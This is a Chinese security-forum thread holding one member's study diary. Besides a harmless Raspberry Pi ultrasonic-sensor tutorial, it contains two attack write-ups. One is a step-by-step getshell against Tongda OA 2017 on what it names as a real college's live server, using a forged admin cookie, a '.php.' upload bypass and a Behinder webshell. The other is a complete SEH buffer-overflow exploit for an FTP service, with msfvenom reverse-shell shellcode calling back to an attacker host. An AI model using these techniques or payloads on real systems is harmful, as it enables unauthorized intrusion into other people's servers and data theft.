安全矩阵

 找回密码
 立即注册
搜索
楼主: pukr

陈艺琳的学习日记

[复制链接]

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2020-4-14 23:05:28 | 显示全部楼层
本帖最后由 pukr 于 2020-4-14 23:12 编辑

2020-04-14树莓派开发(一)——HC-SR04传感器
环境:
树莓派3b
2020-02-13-raspbian-buster-full
前期准备烧录系统
利用Win32DiskImager.exe工具,选择好镜像文件和TF卡,点write等待,就完成了。


远程连接
由于贫穷的限制,我没有专门的显示器连接树莓派。所以只能通过远程连接。
很奇怪我尝试用WIFI连接的时候,并没有连上。所以我插了根网线直连。192.168.1.1查到树莓派的ip,新建ssh文件总是被删,所以建了个ssh文件夹,通过putty连接。
初始账号密码:
  1. pi
  2. raspberry
复制代码

连接后再

  1. sudo raspi-config
复制代码

进入设置页面更改分辨率,打开VNC,并且以防万一再次打开ssh。

  1. Advanced Options -> Resolution -> DMT Mode 82 1920×1080 60Hz 16:9
复制代码
  1. Interfacing Options -> SSH
  2. Interfacing Options -> VNC
复制代码

然后可以通过VNC打开图形化界面了。
WiringPi安装
我这里的WiringPi原本就是安装好的,所以不需要再次安装。
网上有很多安装教程,就不过多赘述了。

  1. gpio -v
  2. gpio readall
复制代码


HC-SR04
这个传感器的作用是超声波测距。
HC-SR04模块一共有4个引脚,分别是Vcc(高电平),GND(低电平),Trig(触发测距)以及Echo(返回测距结果)。


下图是 HC-SR04的时序图。


这个图表明,只需为Trig引脚提供一个10uS以上的高电平脉冲触发信号,模块会自动将Echo脚设置为高电平。该模块内部将发出8个40kHz周期电平,即输出超声波,并检测回波。
一旦检测到有回波信号则输出回响信号。接收到之后Echo脚会自动变成低电平,从而完成一次测距。
回响信号的脉冲宽度与所测的距离成正比。
由此通过发射信号到收到的回响信号时间间隔可以计算得到距离。只需要测量Echo脚为高电平的时间,然后乘上声速/2就可以了。




python代码:


  1. # -*-coding:utf-8 -*-
复制代码
  1. # -*-coding:utf-8 -*-
  2. import RPi.GPIO as GPIO
  3. import time

  4. Trig_Pin = 20
  5. Echo_Pin = 21

  6. GPIO.setmode(GPIO.BCM)
  7. GPIO.setup(Trig_Pin, GPIO.OUT, initial = GPIO.LOW)
  8. GPIO.setup(Echo_Pin, GPIO.IN)

  9. time.sleep(2)

  10. def checkdist():
  11.     GPIO.output(Trig_Pin,GPIO.HIGH)
  12.     time.sleep(0.00015)
  13.     GPIO.output(Trig_Pin, GPIO.LOW)
  14.     while not GPIO.input(Echo_Pin):
  15.         pass
  16.     t1 = time.time()
  17.     while GPIO.input(Echo_Pin):
  18.         pass
  19.     t2 = time.time()
  20.     return (t2-t1)*340*100/2

  21. try:
  22.     while True:
  23.         print 'Distance:%0.2f cm' % checkdist()
  24.         time.sleep(1)
  25. except KeyboardInterrupt:
  26.     GPIO.cleanup()
复制代码


注:
1.第8行:在RPi.GPIO中,同时支持树莓派上的两种GPIO引脚编号。
第一种编号是BOARD编号,这和树莓派电路板上的物理引脚编号相对应。使用这种编号的好处是,你的硬件将是一直可以使用的,不用担心树莓派的版本问题。因此,在电路板升级后,你不需要重写连接器或代码。
第二种编号是BCM规则,是更底层的工作方式,它和Broadcom的片上系统中信道编号相对应。在使用一个引脚时,你需要查找信道号和物理引脚编号之间的对应规则。对于不同的树莓派版本,编写的脚本文件也可能是无法通用的。
你可以使用下列代码(强制的)指定一种编号规则:

  1. GPIO.setmode(GPIO.BOARD)

  2. GPIO.setmode(GPIO.BCM)
复制代码

2.第9~10行:引脚设置
在使用一个引脚前,你需要设置这些引脚作为输入还是输出。配置一个引脚的代码如下:
  1. # 将引脚设置为输入模式
  2. GPIO.setup(channel, GPIO.IN)

  3. # 将引脚设置为输出模式
  4. GPIO.setup(channel, GPIO.OUT)

  5. # 为输出的引脚设置默认值
  6. GPIO.setup(channel, GPIO.OUT, initial=GPIO.HIGH)
复制代码


将Trig设置为输出,并为其设置初始值为高电平。
将Echo设置为输入。
3.第15~17行:设置引脚的输出状态'
  1. GPIO.output(channel, state)
复制代码

其中通道是基于指定的编号系统(BOARD或BCM)的通道编号。
状态可以是0 / GPIO.LOW / False或1 / GPIO.HIGH / True。
设置输出高电平:
  1. GPIO.output(12, GPIO.HIGH)

  2. GPIO.output(12, 1)

  3. GPIO.output(12, True)
复制代码

设置输出低电平:

  1. GPIO.output(12, GPIO.LOW)

  2. GPIO.output(12, 0)

  3. GPIO.output(12, False)
复制代码

先给Trig引脚一个高电平脉冲,sleep 15Us(大于10uS即可)。
4.第18~19行:读取GPIO引脚的值
  1. GPIO.input(channel)
复制代码

其中通道是基于指定的编号系统(BOARD或BCM)的通道编号。
这将返回0 / GPIO.LOW / False或1 / GPIO.HIGH / True。
如果没有读取到Echo引脚的值就pass。
5.第20行:开始计时
6.第21行:读取到了Echo引脚的值,pass。
7.第23行:计时结束。
8.第24行:计算距离。
效果:

这个程序还有很多不完善的地方,比如Echo引脚电平设置出错等没有防护措施等。还可以继续优化。


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2020-4-15 00:19:10 | 显示全部楼层
更新了《复变函数中i的几何意义》,在博客,与安全无关就不贴出来了。对数学感兴趣的小伙伴可以去博客看一看。恳请斧正。
回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2020-4-28 00:12:37 | 显示全部楼层
2020-04-27
对不起我来晚了
通达oa2017版本漏洞引发的知识补充

首先写出getshell过程。知错不改,所以才有安全问题。

河北张家口学院使用通达oa2017版本,这个系统存在严重可getshell的漏洞。通过伪造管理员cookie和文件上传可getshell获取大量敏感信息甚至渗透至全部内网。


首先通过伪造cookie实现管理员登录。chromeedit this cookie插件即可。
生成可用cookie,再替换http://60.8.3.218:8098/general/index.phpcookie,管理员登陆成功。





找到了上传点
POST是为了将数据传送到服务器段,GET是为了从服务器段取得数据。POST的信息作为http请求的内容,而GET是在Http头部传输的,并且我们传输的文件数据量较大,所以不能用GET请求。更改GETPOST



修改请求,上传文件。
记得修改content-type,这是一个常见的 POST 数据提交的方式。我们使用表单上传文件时,必须使form表单的 enctype属性值等于 multipart/form-data,它会将表单的数据处理为一条消息。另外,Content-disposition,用来说明字段的一些信息,他们以标签为单元,分隔符(boundary)分开。

生成了一个 boundary 用于分割不同的字段,为了避免与正文内容重复,boundary 很长很复杂。然后 Content-Type 里指明了数据是以 mutipart/form-data 来编码,本次请求的 boundary 是什么内容。消息主体里按照字段个数又分为多个结构类似的部分,每部分都是以 --boundary 开始,紧接着内容描述信息,然后是回车,最后是字段具体内容(文本或二进制)。
详细后面会说。




另外,这里不允许上传php类型文件,双写大小写都不可以。但是apache有个解析漏洞,就是把.php.后缀的文件也解析成php类型,所以在文件名后加点即可绕过。




后面2004/1837231923.2.php就是获得的文件存储路径。而我们知道存储路径的前半部分。
试着访问,页面没有报错。
冰蝎连接,成功。




这个漏洞主要是

upload文件是加了密的,有人已经解好密了,解密网址是:http://dezend.qiling.org/free/

upload.php
  1. <?php

  2. set_time_limit(0);
  3. $P = $_POST['P'];
  4. if (isset($P) || $P != '') {
  5.     ob_start();
  6.     include_once 'inc/session.php';
  7.     session_id($P);
  8.     session_start();
  9.     session_write_close();
  10. } else {
  11.     include_once './auth.php';
  12. }
  13. include_once 'inc/utility_file.php';
  14. include_once 'inc/utility_msg.php';
  15. include_once 'mobile/inc/funcs.php';
  16. ob_end_clean();
  17. $TYPE = $_POST['TYPE'];
  18. $DEST_UID = $_POST['DEST_UID'];
  19. $dataBack = array();
  20. if ($DEST_UID != '' && !td_verify_ids($ids)) {
  21.     $dataBack = array('status' => 0, 'content' => '-ERR ' . _('接收方ID无效'));
  22.     echo json_encode(data2utf8($dataBack));
  23.     exit;
  24. }
  25. if (strpos($DEST_UID, ',') !== false) {
  26. } else {
  27.     $DEST_UID = intval($DEST_UID);
  28. }
  29. if ($DEST_UID == 0) {
  30.     if ($UPLOAD_MODE != 2) {
  31.         $dataBack = array('status' => 0, 'content' => '-ERR ' . _('接收方ID无效'));
  32.         echo json_encode(data2utf8($dataBack));
  33.         exit;
  34.     }
  35. }
  36. $MODULE = 'im';
  37. if (1 <= count($_FILES)) {
  38.     if ($UPLOAD_MODE == '1') {
  39.         if (strlen(urldecode($_FILES['ATTACHMENT']['name'])) != strlen($_FILES['ATTACHMENT']['name'])) {
  40.             $_FILES['ATTACHMENT']['name'] = urldecode($_FILES['ATTACHMENT']['name']);
  41.         }
  42.     }
  43.     $ATTACHMENTS = upload('ATTACHMENT', $MODULE, false);
  44.     if (!is_array($ATTACHMENTS)) {
  45.         $dataBack = array('status' => 0, 'content' => '-ERR ' . $ATTACHMENTS);
  46.         echo json_encode(data2utf8($dataBack));
  47.         exit;
  48.     }
  49.     ob_end_clean();
  50.     $ATTACHMENT_ID = substr($ATTACHMENTS['ID'], 0, -1);
  51.     $ATTACHMENT_NAME = substr($ATTACHMENTS['NAME'], 0, -1);
  52.     if ($TYPE == 'mobile') {
  53.         $ATTACHMENT_NAME = td_iconv(urldecode($ATTACHMENT_NAME), 'utf-8', MYOA_CHARSET);
  54.     }
  55. } else {
  56.     $dataBack = array('status' => 0, 'content' => '-ERR ' . _('无文件上传'));
  57.     echo json_encode(data2utf8($dataBack));
  58.     exit;
  59. }
  60. $FILE_SIZE = attach_size($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
  61. if (!$FILE_SIZE) {
  62.     $dataBack = array('status' => 0, 'content' => '-ERR ' . _('文件上传失败'));
  63.     echo json_encode(data2utf8($dataBack));
  64.     exit;
  65. }
  66. if ($UPLOAD_MODE == '1') {
  67.     if (is_thumbable($ATTACHMENT_NAME)) {
  68.         $FILE_PATH = attach_real_path($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
  69.         $THUMB_FILE_PATH = substr($FILE_PATH, 0, strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) . 'thumb_' . $ATTACHMENT_NAME;
  70.         CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);
  71.     }
  72.     $P_VER = is_numeric($P_VER) ? intval($P_VER) : 0;
  73.     $MSG_CATE = $_POST['MSG_CATE'];
  74.     if ($MSG_CATE == 'file') {
  75.         $CONTENT = '[fm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/fm]';
  76.     } else {
  77.         if ($MSG_CATE == 'image') {
  78.             $CONTENT = '[im]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/im]';
  79.         } else {
  80.             $DURATION = intval($DURATION);
  81.             $CONTENT = '[vm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $DURATION . '[/vm]';
  82.         }
  83.     }
  84.     $AID = 0;
  85.     $POS = strpos($ATTACHMENT_ID, '@');
  86.     if ($POS !== false) {
  87.         $AID = intval(substr($ATTACHMENT_ID, 0, $POS));
  88.     }
  89.     $query = 'INSERT INTO im_offline_file (TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG,AID) values (\'' . date('Y-m-d H:i:s') . '\',\'' . $_SESSION['LOGIN_UID'] . '\',\'' . $DEST_UID . '\',\'*' . $ATTACHMENT_ID . '.' . $ATTACHMENT_NAME . '\',\'' . $FILE_SIZE . '\',\'0\',\'' . $AID . '\')';
  90.     $cursor = exequery(TD::conn(), $query);
  91.     $FILE_ID = mysql_insert_id();
  92.     if ($cursor === false) {
  93.         $dataBack = array('status' => 0, 'content' => '-ERR ' . _('数据库操作失败'));
  94.         echo json_encode(data2utf8($dataBack));
  95.         exit;
  96.     }
  97.     $dataBack = array('status' => 1, 'content' => $CONTENT, 'file_id' => $FILE_ID);
  98.     echo json_encode(data2utf8($dataBack));
  99.     exit;
  100. } else {
  101.     if ($UPLOAD_MODE == '2') {
  102.         $DURATION = intval($_POST['DURATION']);
  103.         $CONTENT = '[vm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $DURATION . '[/vm]';
  104.         $query = 'INSERT INTO WEIXUN_SHARE (UID, CONTENT, ADDTIME) VALUES (\'' . $_SESSION['LOGIN_UID'] . '\', \'' . $CONTENT . '\', \'' . time() . '\')';
  105.         $cursor = exequery(TD::conn(), $query);
  106.         echo '+OK ' . $CONTENT;
  107.     } else {
  108.         if ($UPLOAD_MODE == '3') {
  109.             if (is_thumbable($ATTACHMENT_NAME)) {
  110.                 $FILE_PATH = attach_real_path($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
  111.                 $THUMB_FILE_PATH = substr($FILE_PATH, 0, strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) . 'thumb_' . $ATTACHMENT_NAME;
  112.                 CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);
  113.             }
  114.             echo '+OK ' . $ATTACHMENT_ID;
  115.         } else {
  116.             $CONTENT = '[fm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/fm]';
  117.             $msg_id = send_msg($_SESSION['LOGIN_UID'], $DEST_UID, 1, $CONTENT, '', 2);
  118.             $query = 'insert into IM_OFFLINE_FILE (TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG) values (\'' . date('Y-m-d H:i:s') . '\',\'' . $_SESSION['LOGIN_UID'] . '\',\'' . $DEST_UID . '\',\'*' . $ATTACHMENT_ID . '.' . $ATTACHMENT_NAME . '\',\'' . $FILE_SIZE . '\',\'0\')';
  119.             $cursor = exequery(TD::conn(), $query);
  120.             $FILE_ID = mysql_insert_id();
  121.             if ($cursor === false) {
  122.                 echo '-ERR ' . _('数据库操作失败');
  123.                 exit;
  124.             }
  125.             if ($FILE_ID == 0) {
  126.                 echo '-ERR ' . _('数据库操作失败2');
  127.                 exit;
  128.             }
  129.             echo '+OK ,' . $FILE_ID . ',' . $msg_id;
  130.             exit;
  131.         }
  132.     }
  133. }
复制代码

从图片里可以看出,这段代码的问题是
P需要有值且不为空,auth.php 进行登录验证。所以poc中,需要有 Content-Disposition 的 name='p' 字段,来存放管理员cookie。

另外,分析可知还需要一个DEST_UID的值,这个值不可以为0或者空。


还需要一个UPLOAD_MODE值,为2;

最后就是文件内容和文件类型了。这时会对"$_FILES['ATTACHMENT']['name'])"进行一次url解码,之后判断解码前后文件名长度是否有变化,如果有变化,则将url解码后的文件名作为最后的文件名。
  1. function upload($PREFIX = 'ATTACHMENT', $MODULE = '', $OUTPUT = true)
  2. {
  3.     if (strstr($MODULE, '/') || strstr($MODULE, '\\')) {
  4.         if (!$OUTPUT) {
  5.             return _('参数含有非法字符。');
  6.         }
  7.         Message(_('错误'), _('参数含有非法字符。'));
  8.         exit;
  9.     }
  10.     $ATTACHMENTS = array('ID' => '', 'NAME' => '');
  11.     reset($_FILES);
  12.     foreach ($_FILES as $KEY => $ATTACHMENT) {
  13.         if ($ATTACHMENT['error'] == 4 || $KEY != $PREFIX && substr($KEY, 0, strlen($PREFIX) + 1) != $PREFIX . '_') {
  14.             continue;
  15.         }
  16.         $data_charset = isset($_GET['data_charset']) ? $_GET['data_charset'] : (isset($_POST['data_charset']) ? $_POST['data_charset'] : '');
  17.         $ATTACH_NAME = $data_charset != '' ? td_iconv($ATTACHMENT['name'], $data_charset, MYOA_CHARSET) : $ATTACHMENT['name'];
  18.         $ATTACH_SIZE = $ATTACHMENT['size'];
  19.         $ATTACH_ERROR = $ATTACHMENT['error'];
  20.         $ATTACH_FILE = $ATTACHMENT['tmp_name'];
  21.         $ERROR_DESC = '';
  22.         if ($ATTACH_ERROR == UPLOAD_ERR_OK) {
  23.             if (!is_uploadable($ATTACH_NAME)) {
  24.                 $ERROR_DESC = sprintf(_('禁止上传后缀名为[%s]的文件'), substr($ATTACH_NAME, strrpos($ATTACH_NAME, '.') + 1));
  25.             }
  26.             $encode = mb_detect_encoding($ATTACH_NAME, array('ASCII', 'UTF-8', 'GB2312', 'GBK', 'BIG5'));
  27.             if ($encode != 'UTF-8') {
  28.                 $ATTACH_NAME_UTF8 = mb_convert_encoding($ATTACH_NAME, 'utf-8', MYOA_CHARSET);
  29.             } else {
  30.                 $ATTACH_NAME_UTF8 = $ATTACH_NAME;
  31.             }
  32.             if (preg_match('/[\\\':<>?]|\\/|\\\\|"|\\|/u', $ATTACH_NAME_UTF8)) {
  33.                 $ERROR_DESC = sprintf(_('文件名[%s]包含[/\\\'":*?<>|]等非法字符'), $ATTACH_NAME);
  34.             }
  35.             if ($ATTACH_SIZE == 0) {
  36.                 $ERROR_DESC = sprintf(_('文件[%s]大小为0字节'), $ATTACH_NAME);
  37.             }
  38.             if ($ERROR_DESC == '') {
  39.                 $ATTACH_NAME = str_replace('\'', '', $ATTACH_NAME);
  40.                 $ATTACH_ID = add_attach($ATTACH_FILE, $ATTACH_NAME, $MODULE);
  41.                 if ($ATTACH_ID === false) {
  42.                     $ERROR_DESC = sprintf(_('文件[%s]上传失败'), $ATTACH_NAME);
  43.                 } else {
  44.                     $ATTACHMENTS['ID'] .= $ATTACH_ID . ',';
  45.                     $ATTACHMENTS['NAME'] .= $ATTACH_NAME . '*';
  46.                 }
  47.             }
  48.             @unlink($ATTACH_FILE);
  49.         } else {
  50.             if ($ATTACH_ERROR == UPLOAD_ERR_INI_SIZE) {
  51.                 $ERROR_DESC = sprintf(_('文件[%s]的大小超过了系统限制(%s)'), $ATTACH_NAME, ini_get('upload_max_filesize'));
  52.             } else {
  53.                 if ($ATTACH_ERROR == UPLOAD_ERR_FORM_SIZE) {
  54.                     $ERROR_DESC = sprintf(_('文件[%s]的大小超过了表单限制'), $ATTACH_NAME);
  55.                 } else {
  56.                     if ($ATTACH_ERROR == UPLOAD_ERR_PARTIAL) {
  57.                         $ERROR_DESC = sprintf(_('文件[%s]上传不完整'), $ATTACH_NAME);
  58.                     } else {
  59.                         if ($ATTACH_ERROR == UPLOAD_ERR_NO_TMP_DIR) {
  60.                             $ERROR_DESC = sprintf(_('文件[%s]上传失败:找不到临时文件夹'), $ATTACH_NAME);
  61.                         } else {
  62.                             if ($ATTACH_ERROR == UPLOAD_ERR_CANT_WRITE) {
  63.                                 $ERROR_DESC = sprintf(_('文件[%s]写入失败'), $ATTACH_NAME);
  64.                             } else {
  65.                                 $ERROR_DESC = sprintf(_('未知错误[代码:%s]'), $ATTACH_ERROR);
  66.                             }
  67.                         }
  68.                     }
  69.                 }
  70.             }
  71.         }
  72.         if ($ERROR_DESC != '') {
  73.             if (!$OUTPUT) {
  74.                 delete_attach($ATTACHMENTS['ID'], $ATTACHMENTS['NAME'], $MODULE);
  75.                 return $ERROR_DESC;
  76.             } else {
  77.                 Message(_('错误'), $ERROR_DESC);
  78.             }
  79.         }
  80.     }
  81.     return $ATTACHMENTS;
  82. }
复制代码

当文件名中不存在.时就直接利用现有的文件名,当存在.的时候往后匹配三位,另外判断文件名是否为php,不可以上传php类型文件。

所以两种思路:

1.上传.php.后缀文件

2.上传图片马配合文件包含漏洞(不在今天讨论范围内)



POST请求的消息主体放在entity body中,服务端根据请求头中的Content-Type字段来获取消息主体的编码方式,进而进行解析数据。
上面说的content-type的取值,有4种类型:
1.application/x-www-form-urlencoded
最常见的 POST 提交数据的方式,原生Form表单,如果不设置 enctype 属性,默认为application/x-www-form-urlencoded 方式提交数据。

首先,Content-Type被指定为 application/x-www-form-urlencoded;其次,提交的表单数据会转换为键值对并按照 key1=val1&key2=val2 的方式进行编码,key 和 val 都进行了 URL 转码。大部分服务端语言都对这种方式有很好的支持。
另外,如利用AJAX 提交数据时,也可使用这种方式。例如 jQuery,Content-Type 默认值都是”application/x-www-form-urlencoded;charset=utf-8”。

2.multipart/form-data
上面写了

3.application/json
作为响应头比较常见。实际上,现在越来越多的人把它作为请求头,用来告诉服务端消息主体是序列化后的 JSON 字符串,其中一个好处就是JSON 格式支持比键值对复杂得多的结构化数据。由于 JSON 规范的流行,除了低版本 IE 之外的各大浏览器都原生支持JSON.stringify,服务端语言也都有处理 JSON 的函数,使用起来没有困难。
Google 的 AngularJS 中的 Ajax 功能,默认就是提交 JSON 字符串。

4.text/xml
XML的作用不言而喻,用于传输和存储数据,它非常适合万维网传输,提供统一的方法来描述和交换独立于应用程序或供应商的结构化数据,在JSON出现之前是业界一大标准(当然现在也是),相比JSON的优缺点大家有兴趣可以上网search。因此,在POST提交数据时,xml类型也是不可缺少的一种,虽然一般场景上使用JSON可能更轻巧、灵活。

5.binary (application/octet-stream)

在Chrome浏览器的Postman工具中,还可以看到”binary“这一类型,指的就是一些二进制文件类型。如application/pdf,指定了特定二进制文件的MIME类型。就像对于text文件类型若没有特定的子类型(subtype),就使用 text/plain。类似的,二进制文件没有特定或已知的 subtype,即使用 application/octet-stream,这是应用程序文件的默认值,一般很少直接使用 。

对于application/octet-stream,只能提交二进制,而且只能提交一个二进制,如果提交文件的话,只能提交一个文件,后台接收参数只能有一个,而且只能是流(或者字节数组)。

很多web服务器使用默认的 application/octet-stream 来发送未知类型。出于一些安全原因,对于这些资源浏览器不允许设置一些自定义默认操作,导致用户必须存储到本地以使用。一般来说,设置正确的MIME类型很重要。



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2020-5-5 23:45:22 | 显示全部楼层
本帖最后由 pukr 于 2020-5-7 14:30 编辑

2020-05-05
利用SEH链的缓冲区溢出
注:基于SEH异常链栈远程溢出的一个经典例子,python2运行,在winxp sp3下调试
SEH是什么
SEH中文名结构异常化处理,是一种Windows机制,用于一致地处理硬件和软件异常。
在C#/java/C等语言中可以自定义处理异常,使用try/catch语句。C++也可以抛出异常,C#定义一个基类,所有的异常都继承这个基类。
操作系统为每个进程提供了一个异常处理机制,这个异常处理机制的地址、参数保存在栈中,这就是溢出的原因。SEH会动态发生改变。若程序里没有提供异常处理机制,则会将其交给操作系统处理。
把大佬前辈的简化流程图贴上来:


大概的中文意思如下:
图中可以看到,SEH chain在堆栈上并非连续的,每一节由一个_EXCEPTION_REGISTRATION_RECORD处理函数组成,每个_EXCEPTION_REGISTRATION_RECORD处理函数具有两个指针,一个指向next SEH,即下一个SEH的地址;一个是当前SEH handler。
在这个单向链表中,头部位于FS:[0]段选择子,保存了异常链的首地址。
在处理函数_except_handler中有四个参数,第一个参数是指向_EXCEPTION_RECORD结构的指针,该结构包含有关给定异常的信息,包括异常代码,异常地址和参数数量。_except_handler函数用这些信息和第三个参数ContextRecord的信息,来确定这个异常是否可以由当前处理器处理,_except_handler返回EXCEPTION_DISPOSITION,如果为ExceptionContinueExecution,表示该异常是否已经被成功处理,如果为ExceptionContinueSearch,表示当前异常处理器无法处理该异常,则根据nSEH指针中的地址找下一个处理器,重复以找到合适可以处理异常的处理器。
第二个参数在利用中很关键,它的值为nSEH。他在堆栈上位于ESP+8的位置,这样我们就可以控制这第二个参数来进行跳转了。
尾部_EXCEPTION_REGISTRATION_RECORD处理函数的nSEH指针指向FFFFFFFF,标志着End of SEH chain。Windows在链的末尾放置一个默认(或者说通用的)异常处理程序,以帮助确保以某种方式处理异常。这时可能会弹框看到“ …遇到问题,需要关闭 ”。
了解了这些,下面开始利用这个做一个远程溢出测试。

FTP utility漏洞利用
打印机的FTP服务容易被攻击,因为容易出现缓冲区溢出漏洞的程序一般发生在需要处理大量字符串里,而需要和很长的字符串打交道的协议有FTP,视频流(媒体播放器),flash等。
首先利用immunity debugger附加程序:


在这个程序中,需要先匿名登录(如果知道一个账户更好了,就不用受匿名限制了),再发送命令,发送的命令就是大量的’a’。
查看一下windows xp的ip地址:192.168.1.138
kali里:
  1. import socket
  2. import sys

  3. poststr = "a"*10000

  4. s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  5. connect=s.connect(('192.168.1.138',21))

  6. data = s.recv(1024)

  7. s.send('USER anonymous' + '\r\n')

  8. data = s.recv(1024)

  9. s.send('PASS anonymous' + '\r\n')

  10. data = s.recv(1024)

  11. s.send('CWD ' + poststr+ '\r\n')

  12. data = s.recv(1024)

  13. s.send('QUIT\r\n')

  14. s.close
复制代码


发送过去之后,可以看到堆栈上全部被a占领。这时打开查看SEH chain


可以看到nSEH和SEH均已被覆盖。
下面测试偏移量,用kali自带的msp-pattern工具生成一串字符串。

  1. root@kali430:~# msf-pattern_create -l 10000
复制代码

查看SEH chain:


可以看到两处地址均已被覆盖。

  1. root@kali430:~# msf-pattern_offset -q Bi7B
  2. [*] Exact match at offset 1041
  3. root@kali430:~# msf-pattern_offset -q 5Bi6
  4. [*] Exact match at offset 1037
复制代码

得到了偏移量,下面该写POC了。


需要覆盖两个指针SEH和NSEH,利用!mona seh命令获取可用的pop/pop/ret指令。前两个pop用于弹出多于参数,ret用于跳转到nSEH的地址。


kali设置:
  1. root@kali430:~# msfconsole
  2. msf5 > use exploit/multi/handler
  3. msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
  4. payload => windows/meterpreter/reverse_tcp
  5. msf5 exploit(multi/handler) > set LHOST 0.0.0.0
  6. LHOST => 0.0.0.0
  7. msf5 exploit(multi/handler) > set LPORT 5555
  8. LPORT => 5555
复制代码

用msfvenom生成shell:
  1. msfvenom -p windows/shell_reverse_tcp -e x86/shikata_ga_nai -f python -v shellcode LHOST=192.168.1.123 LPORT=5555 -b "\x00\x0a\x0d"
复制代码

最终poc:
  1. import socket
  2. import sys

  3. s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  4. connect=s.connect(('192.168.1.138',21))

  5. shellcode =  b""
  6. shellcode += b"\xdb\xca\xb8\x7e\x23\xd2\xd4\xd9\x74\x24\xf4"
  7. shellcode += b"\x5b\x31\xc9\xb1\x52\x31\x43\x17\x03\x43\x17"
  8. shellcode += b"\x83\x95\xdf\x30\x21\x95\xc8\x37\xca\x65\x09"
  9. shellcode += b"\x58\x42\x80\x38\x58\x30\xc1\x6b\x68\x32\x87"
  10. shellcode += b"\x87\x03\x16\x33\x13\x61\xbf\x34\x94\xcc\x99"
  11. shellcode += b"\x7b\x25\x7c\xd9\x1a\xa5\x7f\x0e\xfc\x94\x4f"
  12. shellcode += b"\x43\xfd\xd1\xb2\xae\xaf\x8a\xb9\x1d\x5f\xbe"
  13. shellcode += b"\xf4\x9d\xd4\x8c\x19\xa6\x09\x44\x1b\x87\x9c"
  14. shellcode += b"\xde\x42\x07\x1f\x32\xff\x0e\x07\x57\x3a\xd8"
  15. shellcode += b"\xbc\xa3\xb0\xdb\x14\xfa\x39\x77\x59\x32\xc8"
  16. shellcode += b"\x89\x9e\xf5\x33\xfc\xd6\x05\xc9\x07\x2d\x77"
  17. shellcode += b"\x15\x8d\xb5\xdf\xde\x35\x11\xe1\x33\xa3\xd2"
  18. shellcode += b"\xed\xf8\xa7\xbc\xf1\xff\x64\xb7\x0e\x8b\x8a"
  19. shellcode += b"\x17\x87\xcf\xa8\xb3\xc3\x94\xd1\xe2\xa9\x7b"
  20. shellcode += b"\xed\xf4\x11\x23\x4b\x7f\xbf\x30\xe6\x22\xa8"
  21. shellcode += b"\xf5\xcb\xdc\x28\x92\x5c\xaf\x1a\x3d\xf7\x27"
  22. shellcode += b"\x17\xb6\xd1\xb0\x58\xed\xa6\x2e\xa7\x0e\xd7"
  23. shellcode += b"\x67\x6c\x5a\x87\x1f\x45\xe3\x4c\xdf\x6a\x36"
  24. shellcode += b"\xc2\x8f\xc4\xe9\xa3\x7f\xa5\x59\x4c\x95\x2a"
  25. shellcode += b"\x85\x6c\x96\xe0\xae\x07\x6d\x63\x11\x7f\x6c"
  26. shellcode += b"\x08\xf9\x82\x6e\xfb\x4a\x0b\x88\x69\xbd\x5a"
  27. shellcode += b"\x03\x06\x24\xc7\xdf\xb7\xa9\xdd\x9a\xf8\x22"
  28. shellcode += b"\xd2\x5b\xb6\xc2\x9f\x4f\x2f\x23\xea\x2d\xe6"
  29. shellcode += b"\x3c\xc0\x59\x64\xae\x8f\x99\xe3\xd3\x07\xce"
  30. shellcode += b"\xa4\x22\x5e\x9a\x58\x1c\xc8\xb8\xa0\xf8\x33"
  31. shellcode += b"\x78\x7f\x39\xbd\x81\xf2\x05\x99\x91\xca\x86"
  32. shellcode += b"\xa5\xc5\x82\xd0\x73\xb3\x64\x8b\x35\x6d\x3f"
  33. shellcode += b"\x60\x9c\xf9\xc6\x4a\x1f\x7f\xc7\x86\xe9\x9f"
  34. shellcode += b"\x76\x7f\xac\xa0\xb7\x17\x38\xd9\xa5\x87\xc7"
  35. shellcode += b"\x30\x6e\xb7\x8d\x18\xc7\x50\x48\xc9\x55\x3d"
  36. shellcode += b"\x6b\x24\x99\x38\xe8\xcc\x62\xbf\xf0\xa5\x67"
  37. shellcode += b"\xfb\xb6\x56\x1a\x94\x52\x58\x89\x95\x76"

  38. nseh=b"\xeb\x0e\x90\x90"
  39. seh=b"\x1e\x40\x20\x12"

  40. offset=1037

  41. payload='a'*offset+nseh+seh+"\x90"*8+shellcode+'b'*1000

  42. poststr=payload

  43. data = s.recv(1024)

  44. s.send('USER anonymous' + '\r\n')

  45. data = s.recv(1024)

  46. s.send('PASS anonymous' + '\r\n')

  47. data = s.recv(1024)

  48. s.send('CWD ' + poststr+ '\r\n')

  49. data = s.recv(4096)

  50. s.send('QUIT' + '\r\n')

  51. s.close
复制代码

我的xp的问题,一连上就挂,但是是有反弹的(挣扎.jpg),kali这边断开之后xp的21端口也关闭了再也打不开了,只能重启,重启了又一连上就挂,太扎心了。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

